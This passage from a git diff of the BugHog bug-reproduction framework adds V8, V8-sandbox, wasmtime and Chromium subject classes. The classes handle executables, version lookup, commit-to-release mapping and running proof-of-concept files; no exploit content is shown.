type '{subject_type}' is not supported.") + + +@staticmethod +def get_all_subject_names_for(subject_type: str) -> list[str]: + return [subject.name for subject in get_all_subjects_for(subject_type)] + + +@staticmethod +def create_evaluation_framework(subject_type: str) -> EvaluationFramework: + if subject_classes := subjects.get(subject_type): + return subject_classes['evaluation_framework'](subject_type) + raise AttributeError(f"Subject type '{subject_type}' is not supported.") + + +@lru_cache(maxsize=10) +def create_experiments(subject_type: str) -> Experiments: + return Experiments(subject_type, create_evaluation_framework(subject_type)) + + +@staticmethod +def invalidate_experiment_cache(): + create_experiments.cache_clear() + + +@staticmethod +def get_all_subject_availability() -> list[dict]: + subject_availability = [] + for subject_type in get_all_subject_types(): + subjects_for_type = {'subject_type': subject_type, 'subjects': []} + for subject in get_all_subjects_for(subject_type): + subjects_for_type['subjects'].append(subject.get_availability()) + subject_availability.append(subjects_for_type) + return subject_availability + + +@staticmethod +def get_subject_availability(subject_type: str, subject_name: str) -> tuple[int,int]: + subject_availability = get_subject(subject_type, subject_name).get_availability() + return subject_availability['min_version'], subject_availability['max_version'] + + +@staticmethod +def get_subject_from_params(params: EvaluationParameters) -> Subject: + subject_type = params.subject_configuration.subject_type + subject_name = params.subject_configuration.subject_name + return get_subject(subject_type, subject_name) + + +@staticmethod +def get_subject(subject_type: str, subject_name: str) -> Subject: + subjects = get_all_subjects_for(subject_type) + matched_subjects = [subject for subject in subjects if subject.name == subject_name] + if len(matched_subjects) > 0: + return matched_subjects[0] + raise AttributeError(f"Subject '{subject_type}, {subject_name}' is not supported.") + + +@staticmethod +def initialize_all_subject_folders() -> None: + for subject_type, specs in subjects.items(): + os.makedirs(f'/app/subject/{subject_type}/experiments/', exist_ok=True) + for subject in specs.get('subjects', []): + os.makedirs(f'/app/subject/{subject_type}/executables/{subject.name}/', exist_ok=True) diff --git a/bughog/subject/js_engine/evaluation_framework.py b/bughog/subject/js_engine/evaluation_framework.py new file mode 100644 index 00000000..cb92819b --- /dev/null +++ b/bughog/subject/js_engine/evaluation_framework.py @@ -0,0 +1,16 @@ +from bughog.evaluation.file_structure import Folder +from bughog.subject.evaluation_framework import EvaluationFramework + + +class JSEngineEvaluationFramework(EvaluationFramework): + def experiment_is_runnable(self, experiment_folder: Folder) -> bool: + return any(file.name in ('poc.js', 'script.cmd') for file in experiment_folder.files) + + def get_poc_file_name(self) -> str: + return 'poc.js' + + def get_default_experiment_script(self, experiment_folder: Folder) -> list[str]: + return ['run poc.js'] + + def fill_empty_experiment_with_default(self, path: str): + pass diff --git a/bughog/subject/js_engine/simulation.py b/bughog/subject/js_engine/simulation.py new file mode 100644 index 00000000..579095eb --- /dev/null +++ b/bughog/subject/js_engine/simulation.py @@ -0,0 +1,22 @@ +from bughog.subject.simulation import Simulation + + +class JSEngineSimulation(Simulation): + @property + def supported_commands(self) -> list[str]: + return ['run'] + + def do_sanity_check(self): + # A sanity check is supposed to be performed within the proof of concept. + pass + # self.executable.run(['-e', "print('bughog_sanity_check=ok')"], timeout=1) + + def report_simulation_error(self, message: str): + # TODO: report simulation errors + pass + + # Script commands + + def run(self, file_name: str): + self.executable.run([file_name], cwd=self.context) + self.executable.terminate(wait=True) diff --git a/bughog/subject/js_engine/subject.py b/bughog/subject/js_engine/subject.py new file mode 100644 index 00000000..b2ee67ab --- /dev/null +++ b/bughog/subject/js_engine/subject.py @@ -0,0 +1,21 @@ +from bughog.evaluation.collectors.collector import Collector +from bughog.evaluation.collectors.logs import LogCollector +from bughog.evaluation.file_structure import Folder +from bughog.parameters import EvaluationParameters +from bughog.subject.executable import Executable +from bughog.subject.js_engine.simulation import JSEngineSimulation +from bughog.subject.subject import Subject + + +class JsEngine(Subject): + @property + def type(self) -> str: + return 'js_engine' + + @staticmethod + def create_simulation(executable: Executable, context: Folder, params: EvaluationParameters) -> JSEngineSimulation: + return JSEngineSimulation(executable, context, params) + + @staticmethod + def create_result_collector() -> Collector: + return Collector([LogCollector()]) diff --git a/bughog/subject/js_engine/v8/executable.py b/bughog/subject/js_engine/v8/executable.py new file mode 100644 index 00000000..62451d15 --- /dev/null +++ b/bughog/subject/js_engine/v8/executable.py @@ -0,0 +1,57 @@ +import re + +from bughog import cli +from bughog.subject.executable import Executable + + +class V8Executable(Executable): + @property + def executable_name(self) -> str: + return 'd8' + + @property + def post_experiment_sleep_duration(self) -> int: + return 0 + + @property + def open_console_hotkey(self) -> list[str]: + raise NotImplementedError() + + def _optimize_for_storage(self) -> None: + pass + + def _configure_executable(self): + """ + Configures the downloaded executable folder after download and extraction, but before it is cached or used. + This function should be idempotent. + """ + cli.execute('chmod u+x d8', cwd=self.staging_folder, ignore_error=False) + + @property + def supported_options(self) -> list[str]: + return [] + + def _get_version(self) -> str: + command = './d8 -e "print(\'V8 version: \' + version())"' + output = cli.execute_and_return_output(command, cwd=self.staging_folder) + match = re.match(r'V8 version: (?P[0-9]+\.[0-9]+\.[0-9]+)', output) + if match: + return match.group('version') + raise AttributeError(f"Could not determine version of executable at '{self.executable_name}'.") + + def _get_cli_command(self) -> list[str]: + return [self.executable_path] + self._runtime_flags + + def pre_experiment_setup(self): + self.fetch() + self.stage() + + def post_experiment_cleanup(self): + self.unstage() + self.remove() + + def pre_try_setup(self): + pass + + def post_try_cleanup(self): + pass diff --git a/bughog/subject/js_engine/v8/state_oracle.py b/bughog/subject/js_engine/v8/state_oracle.py new file mode 100644 index 00000000..4a037cc6 --- /dev/null +++ b/bughog/subject/js_engine/v8/state_oracle.py @@ -0,0 +1,90 @@ +import logging +import re +from typing import Literal + +import requests + +from bughog import util +from bughog.database.mongo.cache import Cache +from bughog.subject.state_oracle import StateOracle +from bughog.version_control.conversion import bughog_service, github + +logger = logging.getLogger(__name__) + + +class V8StateOracle(StateOracle): + """ + State oracle for V8. + + More information: + - https://v8.dev/docs/version-numbers + - https://commondatastorage.googleapis.com/v8-asan/index.html + """ + + # Commit / revision logic + + @Cache.cache_in_db('js_engine', 'v8') + def find_commit_nb(self, commit_id: str) -> int: + return bughog_service.find_commit_nb('v8', commit_id) + + @Cache.cache_in_db('js_engine', 'v8') + def find_commit_id(self, commit_nb: int) -> str | None: + return bughog_service.find_commit_id('v8', commit_nb) + + @Cache.cache_in_db('js_engine', 'v8') + def find_commit_of_release(self, release_version: int) -> tuple[int, str]: + # TODO: make more efficient (possibly by adding functionality to bughog service) + all_release_tags = self.__get_all_release_tags() + major_release_tag = self._get_earliest_tag_with_major(all_release_tags, release_version) + commit_id = github.find_commit_id_from_tag('v8', 'v8', major_release_tag) + commit_nb = self.find_commit_nb(commit_id) + return commit_nb, commit_id + + def get_commit_url(self, commit_nb: int, commit_id: str | None) -> str | None: + if commit_id is None: + return None + return f'https://chromium.googlesource.com/v8/v8/+/{commit_id}' + + # Public executables + + def get_most_recent_major_release_version(self) -> int: + all_release_tags = self.__get_all_release_tags() + major_versions = set(int(tag.split('.')[0]) for tag in all_release_tags) + return max(major_versions) + + @Cache.cache_in_db('js_engine', 'v8') + def has_public_executable(self, state_index: int, state_type: Literal['release', 'commit']) -> bool: + for url in self.get_executable_download_urls(state_index, state_type): + resp = requests.head(url, allow_redirects=True) + if resp.status_code == 200: + return True + return False + + def get_nearest_commit_with_executable( + self, target_commit_nb: int, lower_bound: int, upper_bound: int + ) -> int | None: + NotImplementedError() + + @Cache.cache_in_db('js_engine', 'v8') + def get_executable_download_urls(self, state_index: int, state_type: Literal['release', 'commit']) -> list[str]: + match state_type: + case 'release': + commit_nb = self.find_commit_of_release(state_index)[0] + return self.get_executable_download_urls(commit_nb, 'commit') + case 'commit': + # Debug: + return [ + f'https://www.googleapis.com/download/storage/v1/b/v8-asan/o/linux-debug%2Fasan-linux-debug-v8-component-{state_index}.zip?alt=media', + f'https://www.googleapis.com/download/storage/v1/b/v8-asan/o/linux-debug%2Fd8-asan-linux-debug-v8-component-{state_index}.zip?alt=media', + ] + # Release + # return [f'https://www.googleapis.com/download/storage/v1/b/v8-asan/o/linux-release%2Fd8-linux-release-v8-component-{state_index}.zip?alt=media'] + + @staticmethod + @Cache.cache_in_db('js_engine', 'v8', ttl=24) + def __get_all_release_tags() -> list[str]: + url = 'https://chromium.googlesource.com/v8/v8.git/+refs' + html = util.request_html(url).decode() + all_tags = re.findall(r'/refs/tags/(\d+(?:\.\d+)+)', html) + pattern = re.compile(r'^\d+\.\d+\.\d+$') + return [tag for tag in all_tags if pattern.match(tag)] diff --git a/bughog/subject/js_engine/v8/subject.py b/bughog/subject/js_engine/v8/subject.py new file mode 100644 index 00000000..edb47ff4 --- /dev/null +++ b/bughog/subject/js_engine/v8/subject.py @@ -0,0 +1,29 @@ +from bughog.parameters import SubjectConfiguration +from bughog.subject.js_engine.subject import JsEngine +from bughog.subject.js_engine.v8.executable import V8Executable +from bughog.subject.js_engine.v8.state_oracle import V8StateOracle +from bughog.version_control.state.base import State + + +class V8Subject(JsEngine): + + @property + def name(self) -> str: + return 'v8' + + @property + def _state_oracle_class(self) -> type[V8StateOracle]: + return V8StateOracle + + def get_availability(self) -> dict: + """ + Returns availability data (minimum and maximu, release versions, and configuration options) of the subject. + """ + return { + 'name': 'v8', + 'min_version': 6, + 'max_version': self.state_oracle.get_most_recent_major_release_version() + } + + def create_executable(self, subject_configuration: SubjectConfiguration, state: State) -> V8Executable: + return V8Executable(subject_configuration, state) diff --git a/bughog/subject/js_engine/v8_sandbox/state_oracle.py b/bughog/subject/js_engine/v8_sandbox/state_oracle.py new file mode 100644 index 00000000..962f8c73 --- /dev/null +++ b/bughog/subject/js_engine/v8_sandbox/state_oracle.py @@ -0,0 +1,26 @@ +import logging +from typing import Literal + +from bughog.subject.js_engine.v8.state_oracle import V8StateOracle + +logger = logging.getLogger(__name__) + + +class V8SandboxStateOracle(V8StateOracle): + """ + State oracle for V8. + + More information: + - https://v8.dev/docs/version-numbers + - https://commondatastorage.googleapis.com/v8-asan/index.html + """ + + def __init__(self, subject_type: str, subject_name: str) -> None: + # There are no public executables, only artisanal. + super().__init__(subject_type, subject_name, only_artisanal=True) + + def has_public_executable(self, state_index: int, state_type: Literal['release', 'commit']) -> bool: + return False + + def get_executable_download_urls(self, state_index: int, state_type: Literal['release', 'commit']) -> list[str]: + raise Exception('Only artisanal executables are available.') diff --git a/bughog/subject/js_engine/v8_sandbox/subject.py b/bughog/subject/js_engine/v8_sandbox/subject.py new file mode 100644 index 00000000..1712817c --- /dev/null +++ b/bughog/subject/js_engine/v8_sandbox/subject.py @@ -0,0 +1,29 @@ +from bughog.parameters import SubjectConfiguration +from bughog.subject.js_engine.subject import JsEngine +from bughog.subject.js_engine.v8.executable import V8Executable +from bughog.subject.js_engine.v8_sandbox.state_oracle import V8SandboxStateOracle +from bughog.version_control.state.base import State + + +class V8SandboxSubject(JsEngine): + + @property + def name(self) -> str: + return 'v8_sandbox' + + @property + def _state_oracle_class(self) -> type[V8SandboxStateOracle]: + return V8SandboxStateOracle + + def get_availability(self) -> dict: + """ + Returns availability data (minimum and maximu, release versions, and configuration options) of the subject. + """ + return { + 'name': self.name, + 'min_version': 6, + 'max_version': self.state_oracle.get_most_recent_major_release_version() + } + + def create_executable(self, subject_configuration: SubjectConfiguration, state: State) -> V8Executable: + return V8Executable(subject_configuration, state) diff --git a/bughog/subject/simulation.py b/bughog/subject/simulation.py new file mode 100644 index 00000000..c9822393 --- /dev/null +++ b/bughog/subject/simulation.py @@ -0,0 +1,35 @@ +import time +from abc import ABC, abstractmethod + +from bughog.evaluation.file_structure import Folder +from bughog.parameters import EvaluationParameters +from bughog.subject.executable import Executable + + +class Simulation(ABC): + def __init__(self, executable: Executable, context: Folder, params: EvaluationParameters) -> None: + self.executable = executable + self.context = context + self.params = params + + @property + @abstractmethod + def supported_commands(self) -> list[str]: + pass + + @abstractmethod + def do_sanity_check(self): + """ + Performs a sanity check on the associated executable. + A successful sanity check will cause the collector to collect {'sanity_check': 'ok'}. + + Implementing this method is optional in cases where the sanity check is done as part of a proof of concept. + """ + pass + + @abstractmethod + def report_simulation_error(self, message: str): + pass + + def sleep(self, duration: str): + time.sleep(float(duration)) diff --git a/bughog/subject/state_oracle.py b/bughog/subject/state_oracle.py new file mode 100644 index 00000000..7418c866 --- /dev/null +++ b/bughog/subject/state_oracle.py @@ -0,0 +1,155 @@ +import re +from abc import ABC, abstractmethod +from typing import Literal, Optional + +from bughog.subject.artisanal_executable_manager import artisanal_executable_manager +from bughog.version_control.conversion import bughog_service + + +class StateOracle(ABC): + def __init__(self, subject_type, subject_name, only_artisanal=False) -> None: + self.subject_type = subject_type + self.subject_name = subject_name + self.only_artisanal = only_artisanal + + # Commit / revision logic + + @abstractmethod + def find_commit_nb(self, commit_id: str) -> int: + pass + + @abstractmethod + def find_commit_id(self, commit_nb: int) -> str | None: + pass + + @abstractmethod + def find_commit_of_release(self, release_version: int) -> tuple[int, str]: + pass + + @abstractmethod + def get_commit_url(self, commit_nb: int, commit_id: str | None) -> str | None: + pass + + @abstractmethod + def get_most_recent_major_release_version(self) -> int: + pass + + @staticmethod + def is_valid_commit_id(commit_id: str) -> bool: + """ + Checks if a revision id is valid. + A valid revision id is a 40 character long string containing only lowercase letters and numbers. + """ + return re.match(r'[a-z0-9]{40}', commit_id) is not None + + @staticmethod + def is_valid_commit_nb(commit_nb: int) -> bool: + """ + Checks if a revision number is valid. + A valid revision number is a positive integer. + """ + return re.match(r'[0-9]{1,7}', str(commit_nb)) is not None + + @staticmethod + def get_full_version_from_release_tag(release_tag: str) -> str | None: + if match := re.search(r'\d+\.\d+\.\d+', release_tag): + return match[0] + return None + + """ + Executables + """ + + def get_nearest_state_with_executable( + self, state_index: int, lower_bound: int, upper_bound: int, state_type: Literal['release', 'commit'] + ) -> int | None: + nearest_with_public_executable = self.get_nearest_state_with_public_executable( + state_index, lower_bound, upper_bound, state_type + ) + nearest_with_artisanal_executable = artisanal_executable_manager.get_nearest_state_with_artisanal_executable( + self.subject_type, self.subject_name, state_type, state_index, lower_bound, upper_bound + ) + + if nearest_with_public_executable is not None and nearest_with_artisanal_executable is not None: + if abs(state_index - nearest_with_public_executable) < abs(state_index - nearest_with_artisanal_executable): + return nearest_with_public_executable + else: + return nearest_with_artisanal_executable + + if nearest_with_public_executable is not None: + return nearest_with_public_executable + elif nearest_with_artisanal_executable is not None: + return nearest_with_artisanal_executable + else: + return None + + # Public executables + + @abstractmethod + def has_public_executable(self, state_index: int, state_type: Literal['release', 'commit']) -> bool: + pass + + @abstractmethod + def get_executable_download_urls(self, state_index: int, state_type: Literal['release', 'commit']) -> list[str]: + pass + + def get_nearest_state_with_public_executable( + self, state_index: int, lower_bound: int, upper_bound: int, state_type: Literal['release', 'commit'] + ) -> int | None: + if self.only_artisanal: + return None + + if state_type == 'commit': + commit_info = bughog_service.find_nearest_commit_with_executable( + self.subject_name, state_index, lower_bound, upper_bound + ) + if commit_info is None: + return None + return commit_info.get('nb') + elif state_type == 'release': + # Every version within the absolute lower and upper bound should be available. + return state_index + else: + raise ValueError(f'Unknown state type: {state_type}') + + # Artisanal executables + + def count_artisanal_executables(self, state_type: Literal['release', 'commit']) -> int: + return artisanal_executable_manager.count_executables(self.subject_type, self.subject_name, state_type) + + def get_artisanal_executable_folder(self, state_index: int, state_type: Literal['release', 'commit']) -> str | None: + return artisanal_executable_manager.get_executable_folder( + self.subject_type, self.subject_name, state_type, state_index + ) + + def has_artisanal_executable(self, state_index: int, state_type: Literal['release', 'commit']) -> bool: + executable_folder = self.get_artisanal_executable_folder(state_index, state_type) + return executable_folder is not None + + # Helper functions + + @staticmethod + def _parse_commit_nb_from_googlesource(html: str) -> Optional[str]: + matches = re.findall(r'refs\/heads\/(?:master|main)\@\{\#([0-9]{1,7})\}', html) + if matches: + return matches[0] + matches = re.findall(r'svn.chromium.org\/chrome\/trunk\/src\@([0-9]{1,7}) ', html) + if matches: + return matches[0] + return None + + @staticmethod + def _get_earliest_tag_with_major(all_release_tags: list[str], major_release: int) -> str: + candidates = [] + for tag in all_release_tags: + v = StateOracle.get_full_version_from_release_tag(tag) + if v is None or not v.startswith(f'{major_release}.'): + continue + parts = tuple(int(p) for p in v.split('.')) + candidates.append((parts, tag)) + + if not candidates: + raise ValueError(f'Could not find earliest tag for major {major_release}.') + + candidates.sort() + return candidates[0][1] diff --git a/bughog/subject/subject.py b/bughog/subject/subject.py new file mode 100644 index 00000000..78ecd2ae --- /dev/null +++ b/bughog/subject/subject.py @@ -0,0 +1,97 @@ +""" +This module provides abstract base classes for subjects, states and executables. + +All classes should be implemented by newly added subjects. +""" + +from __future__ import annotations + +import logging +import os +from abc import ABC, abstractmethod + +from bughog.evaluation.collectors.collector import Collector +from bughog.evaluation.file_structure import Folder +from bughog.parameters import EvaluationParameters, SubjectConfiguration +from bughog.subject.executable import Executable +from bughog.subject.simulation import Simulation +from bughog.subject.state_oracle import StateOracle +from bughog.version_control.state.base import State + +logger = logging.getLogger(__name__) + + +class Subject(ABC): + """ + Abstract base class representing an evaluation target. + + The Subject class defines the interface and common functionality for any suibject that can be evaluated. + """ + + @property + @abstractmethod + def type(self) -> str: + """ + Returns the evaluation subject type. + """ + pass + + @property + @abstractmethod + def name(self) -> str: + """ + Returns the evaluation subject name. + """ + pass + + @property + @abstractmethod + def _state_oracle_class(self) -> type[StateOracle]: + """ + Returns the state oracle class associated with this subject. + """ + pass + + @abstractmethod + def create_executable(self, subject_configuration: SubjectConfiguration, state: State) -> Executable: + """ + Creates and returns an executable object based on the given subject configuration and state. + """ + pass + + @abstractmethod + def get_availability(self) -> dict: + """ + Returns availability data (supported minimum and maximum release version) of this subject. + """ + pass + + @staticmethod + @abstractmethod + def create_simulation(executable: Executable, context: Folder, params: EvaluationParameters) -> Simulation: + """ + Creates and returns the simulation object based on the given executable, experiment context and eval params. + """ + pass + + @staticmethod + @abstractmethod + def create_result_collector() -> Collector: + """ + Creates and returns the result collector. + """ + pass + + @property + def state_oracle(self) -> StateOracle: + """ + Creates and returns the state oracle associated with this subject. + """ + return self._state_oracle_class(self.type, self.name) + + @property + def assets_folder_path(self) -> str: + """ + Returns the paths of the assets folder associated with this subject. + """ + return os.path.join('/app/subject', self.type, self.name) diff --git a/bughog/subject/wasm_runtime/evaluation_framework.py b/bughog/subject/wasm_runtime/evaluation_framework.py new file mode 100644 index 00000000..29d61500 --- /dev/null +++ b/bughog/subject/wasm_runtime/evaluation_framework.py @@ -0,0 +1,19 @@ +from bughog.evaluation.file_structure import Folder +from bughog.subject.evaluation_framework import EvaluationFramework + + +class WasmRuntimeEvaluationFramework(EvaluationFramework): + def experiment_is_runnable(self, experiment_folder: Folder) -> bool: + return any(file.name in ('poc.wat', 'script.cmd') for file in experiment_folder.files) + + def get_poc_file_name(self) -> str: + return 'poc.wat' + + def get_default_experiment_script(self, experiment_folder: Folder) -> list[str]: + return ['run poc.wat'] + + def fill_empty_experiment_with_default(self, path: str): + pass + + def requires_sanity_check(self) -> bool: + return False diff --git a/bughog/subject/wasm_runtime/simulation.py b/bughog/subject/wasm_runtime/simulation.py new file mode 100644 index 00000000..e16934cc --- /dev/null +++ b/bughog/subject/wasm_runtime/simulation.py @@ -0,0 +1,21 @@ +from bughog.subject.simulation import Simulation + + +class WasmRuntimeSimulation(Simulation): + @property + def supported_commands(self) -> list[str]: + return ['run'] + + def do_sanity_check(self): + # A sanity check is supposed to be performed within the proof of concept. + pass + + def report_simulation_error(self, message: str): + # TODO: report simulation errors + pass + + # Script commands + + def run(self, file_name: str): + self.executable.run([file_name], cwd=self.context) + self.executable.terminate(wait=True) diff --git a/bughog/subject/wasm_runtime/subject.py b/bughog/subject/wasm_runtime/subject.py new file mode 100644 index 00000000..6229fb8a --- /dev/null +++ b/bughog/subject/wasm_runtime/subject.py @@ -0,0 +1,21 @@ +from bughog.evaluation.collectors.collector import Collector +from bughog.evaluation.collectors.logs import LogCollector +from bughog.evaluation.file_structure import Folder +from bughog.parameters import EvaluationParameters +from bughog.subject.executable import Executable +from bughog.subject.subject import Subject +from bughog.subject.wasm_runtime.simulation import WasmRuntimeSimulation + + +class WasmRuntime(Subject): + @property + def type(self) -> str: + return 'wasm_runtime' + + @staticmethod + def create_simulation(executable: Executable, context: Folder, params: EvaluationParameters) -> WasmRuntimeSimulation: + return WasmRuntimeSimulation(executable, context, params) + + @staticmethod + def create_result_collector() -> Collector: + return Collector([LogCollector()]) diff --git a/bughog/subject/wasm_runtime/wasmtime/executable.py b/bughog/subject/wasm_runtime/wasmtime/executable.py new file mode 100644 index 00000000..4424502a --- /dev/null +++ b/bughog/subject/wasm_runtime/wasmtime/executable.py @@ -0,0 +1,59 @@ +import re + +from bughog import cli +from bughog.subject.executable import Executable + + +class WasmtimeExecutable(Executable): + @property + def executable_name(self) -> str: + return 'wasmtime' + + @property + def post_experiment_sleep_duration(self) -> int: + return 0 + + @property + def open_console_hotkey(self) -> list[str]: + raise NotImplementedError() + + def _optimize_for_storage(self) -> None: + pass + + def _configure_executable(self): + """ + Configures the downloaded executable folder after download and extraction, but before it is cached or used. + This function should be idempotent. + """ + cli.execute('chmod u+x wasmtime', cwd=self.staging_folder, ignore_error=False) + + @property + def supported_options(self) -> list[str]: + return [] + + def _get_version(self) -> str: + command = './wasmtime --version' + output = cli.execute_and_return_output(command, cwd=self.staging_folder) + match = re.match(r'wasmtime(-cli)? (?P[0-9]+\.[0-9]+\.[0-9]+)', output) + if match: + return match.group('version') + raise AttributeError(f"Could not determine version of executable at '{self.executable_name}'.") + + def _get_cli_command(self) -> list[str]: + return [self.executable_path] + self._runtime_flags + + def pre_experiment_setup(self): + self.fetch() + self.stage() + + def post_experiment_cleanup(self): + self.unstage() + self.remove() + + def pre_try_setup(self): + pass + + def post_try_cleanup(self): + pass + + diff --git a/bughog/subject/wasm_runtime/wasmtime/state_oracle.py b/bughog/subject/wasm_runtime/wasmtime/state_oracle.py new file mode 100644 index 00000000..82afc34d --- /dev/null +++ b/bughog/subject/wasm_runtime/wasmtime/state_oracle.py @@ -0,0 +1,62 @@ +import re +from typing import Literal + +from bughog.database.mongo.cache import Cache +from bughog.subject.state_oracle import StateOracle +from bughog.version_control.conversion import bughog_service, github + + +class WasmtimeStateOracle(StateOracle): + """ + State oracle for Wasmtime. + """ + def __init__(self, subject_type: str, subject_name: str) -> None: + super().__init__(subject_type, subject_name, only_artisanal=True) + + @Cache.cache_in_db('wasm_runtime', 'wasmtime') + def find_commit_nb(self, commit_id: str) -> int: + return bughog_service.find_commit_nb('wasmtime', commit_id) + + @Cache.cache_in_db('wasm_runtime', 'wasmtime') + def find_commit_id(self, commit_nb: int) -> str | None: + return bughog_service.find_commit_id('wasmtime', commit_nb) + + @Cache.cache_in_db('wasm_runtime', 'wasmtime') + def find_commit_of_release(self, release_version: int) -> tuple[int, str]: + # TODO: make more efficient, possibly by adding functionality to bughog service + all_release_tags = self.__get_all_release_tags() + major_release_tag = self._get_earliest_tag_with_major(all_release_tags, release_version) + commit_id = github.find_commit_id_from_tag('bytecodealliance', 'wasmtime', major_release_tag) + commit_nb = self.find_commit_nb(commit_id) + return commit_nb, commit_id + + def get_most_recent_major_release_version(self) -> int: + all_release_tags = self.__get_all_release_tags() + truncated_tags = [self.get_full_version_from_release_tag(tag) for tag in all_release_tags] + major_versions = set(int(tag.split('.')[0]) for tag in truncated_tags if tag is not None) + return max(major_versions) + + @staticmethod + @Cache.cache_in_db('wasm_runtime', 'wasmtime', ttl=24) + def __get_all_release_tags() -> list[str]: + all_tags = github.get_all_tags('bytecodealliance', 'wasmtime') + pattern = re.compile(r'^v\d+\.\d+\.\d+$') + return [tag for tag in all_tags if pattern.match(tag)] + + """ + Online executables + """ + + def get_commit_url(self, commit_nb: int, commit_id: str | None) -> str | None: + if commit_id is None: + return None + return f'https://github.com/bytecodealliance/wasmtime/commit/{commit_id}' + + def has_public_executable(self, state_index: int, state_type: Literal['release', 'commit']) -> bool: + return False + + def get_executable_download_urls(self, state_index: int, state_type: Literal['release', 'commit']) -> list[str]: + return [] + + def get_nearest_commit_with_executable(self, target_commit_nb: int, lower_bound: int, upper_bound: int) -> int | None: + NotImplementedError() diff --git a/bughog/subject/wasm_runtime/wasmtime/subject.py b/bughog/subject/wasm_runtime/wasmtime/subject.py new file mode 100644 index 00000000..252b6808 --- /dev/null +++ b/bughog/subject/wasm_runtime/wasmtime/subject.py @@ -0,0 +1,25 @@ +from bughog.parameters import SubjectConfiguration +from bughog.subject.wasm_runtime.subject import WasmRuntime +from bughog.subject.wasm_runtime.wasmtime.executable import WasmtimeExecutable +from bughog.subject.wasm_runtime.wasmtime.state_oracle import WasmtimeStateOracle +from bughog.version_control.state.base import State + + +class WasmtimeSubject(WasmRuntime): + @property + def name(self) -> str: + return 'wasmtime' + + @property + def _state_oracle_class(self) -> type[WasmtimeStateOracle]: + return WasmtimeStateOracle + + def get_availability(self) -> dict: + return { + 'name': 'wasmtime', + 'min_version': 1, + 'max_version': self.state_oracle.get_most_recent_major_release_version() + } + + def create_executable(self, subject_configuration: SubjectConfiguration, state: State) -> WasmtimeExecutable: + return WasmtimeExecutable(subject_configuration, state) diff --git a/bci/database/mongo/__init__.py b/bughog/subject/web_browser/__init__.py similarity index 100% rename from bci/database/mongo/__init__.py rename to bughog/subject/web_browser/__init__.py diff --git a/bci/evaluations/__init__.py b/bughog/subject/web_browser/chromium/__init__.py similarity index 100% rename from bci/evaluations/__init__.py rename to bughog/subject/web_browser/chromium/__init__.py diff --git a/bci/browser/configuration/chromium.py b/bughog/subject/web_browser/chromium/executable.py similarity index 52% rename from bci/browser/configuration/chromium.py rename to bughog/subject/web_browser/chromium/executable.py index 176b62a2..539d857e 100644 --- a/bci/browser/configuration/chromium.py +++ b/bughog/subject/web_browser/chromium/executable.py @@ -1,14 +1,13 @@ -from bci.browser.configuration.browser import Browser -from bci.browser.configuration.options import Default, BlockThirdPartyCookies, PrivateBrowsing -from bci.browser.configuration.profile import prepare_chromium_profile - -SUPPORTED_OPTIONS = [ - Default(), - BlockThirdPartyCookies(), - PrivateBrowsing() -] +import os +import re + +from bughog import cli, util +from bughog.parameters import SubjectConfiguration +from bughog.subject.web_browser.executable import BrowserExecutable +from bughog.subject.web_browser.profile import prepare_chromium_profile, remove_profile_execution_folder +from bughog.version_control.state.base import State -SELENIUM_USED_FLAGS = [ +DEFAULT_FLAGS = [ '--use-fake-ui-for-media-stream', '--ignore-certificate-errors', '--disable-background-networking', @@ -30,20 +29,49 @@ ] -class Chromium(Browser): +class ChromiumExecutable(BrowserExecutable): + def __init__(self, config: SubjectConfiguration, state: State) -> None: + super().__init__(config, state) + self._profile_path = None + + @property + def executable_name(self) -> str: + return 'chrome' + + def _get_version(self) -> str: + command = f'./{self.executable_name} --version' + output = cli.execute_and_return_output(command, cwd=self.staging_folder) + match = re.match(r'Chromium (?P[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)', output) + if match: + return match.group('version') + raise AttributeError(f"Could not determine version of executable at '{self.executable_name}'.") + + def _optimize_for_storage(self): + # Remove unneccessary files + locales_folder_path = os.path.join(self.staging_folder, 'locales') + if os.path.isdir(locales_folder_path): + util.remove_all_in_folder(locales_folder_path, except_files=['en-GB.pak', 'en-US.pak']) - def get_navigation_sleep_duration(self) -> int: + def _configure_executable(self): + cli.execute_and_return_status(f'chmod -R a+x {self.staging_folder}') + + @property + def post_experiment_sleep_duration(self) -> int: return 1 - def get_open_console_hotkey(self) -> list[str]: - return ["ctrl", "shift", "j"] + @property + def open_console_hotkey(self) -> list[str]: + return ['ctrl', 'shift', 'j'] + + @property + def supported_options(self) -> list[str]: + return [] - def _get_terminal_args(self) -> list[str]: + def _get_cli_command(self) -> list[str]: assert self._profile_path is not None - args = [self._get_executable_file_path()] + args = [self.executable_path] args.append(f'--user-data-dir={self._profile_path}') - # Enable logging args.append('--enable-logging') args.append('--v=1') args.append('--log-level=0') @@ -52,22 +80,19 @@ def _get_terminal_args(self) -> list[str]: # Also see: https://github.com/DistriNet/BugHog/issues/12 # args.append('--headless=new') # From Chrome - if 'btpc' in self.browser_config.browser_setting: + if 'btpc' in self.config.subject_setting: # This is handled in the profile folder pass - if 'pb' in self.browser_config.browser_setting: + if 'pb' in self.config.subject_setting: args.append('--incognito') - if self.browser_config.extensions: - raise AttributeError("Not implemented") - - args.extend(self.browser_config.cli_options) - args.extend(SELENIUM_USED_FLAGS) + args.extend(self.config.cli_options) + args.extend(DEFAULT_FLAGS) return args def _prepare_profile_folder(self): profile_path = None - match self.browser_config.browser_setting: + match self.config.subject_setting: case 'default': profile_path = prepare_chromium_profile() case 'btpc': @@ -86,5 +111,9 @@ def _prepare_profile_folder(self): elif int(self.version) < 86: profile_path = prepare_chromium_profile('59_btpc') else: - raise AttributeError("Chrome 86 and up not supported yet") + raise AttributeError('Chrome 86 and up not supported yet') self._profile_path = profile_path + + def _remove_profile_folder(self): + if self._profile_path: + remove_profile_execution_folder(self._profile_path) diff --git a/bughog/subject/web_browser/chromium/state_oracle.py b/bughog/subject/web_browser/chromium/state_oracle.py new file mode 100644 index 00000000..311d42c7 --- /dev/null +++ b/bughog/subject/web_browser/chromium/state_oracle.py @@ -0,0 +1,94 @@ +import logging +import re +from typing import Literal + +import requests + +from bughog import util +from bughog.database.mongo.cache import Cache +from bughog.subject.state_oracle import StateOracle +from bughog.version_control.conversion import bughog_service + +logger = logging.getLogger(__name__) + +REV_ID_BASE_URL = 'https://chromium.googlesource.com/chromium/src/+/' +REV_NUMBER_BASE_URL = 'http://crrev.com/' + + +class ChromiumStateOracle(StateOracle): + @Cache.cache_in_db('web_browser', 'chromium') + def find_commit_nb(self, commit_id: str) -> int: + # First use bughog service. + try: + return bughog_service.find_commit_nb('chromium', commit_id) + except Exception: + pass + + # If not found, use googlesource. + url = f'{REV_ID_BASE_URL}{commit_id}' + html = 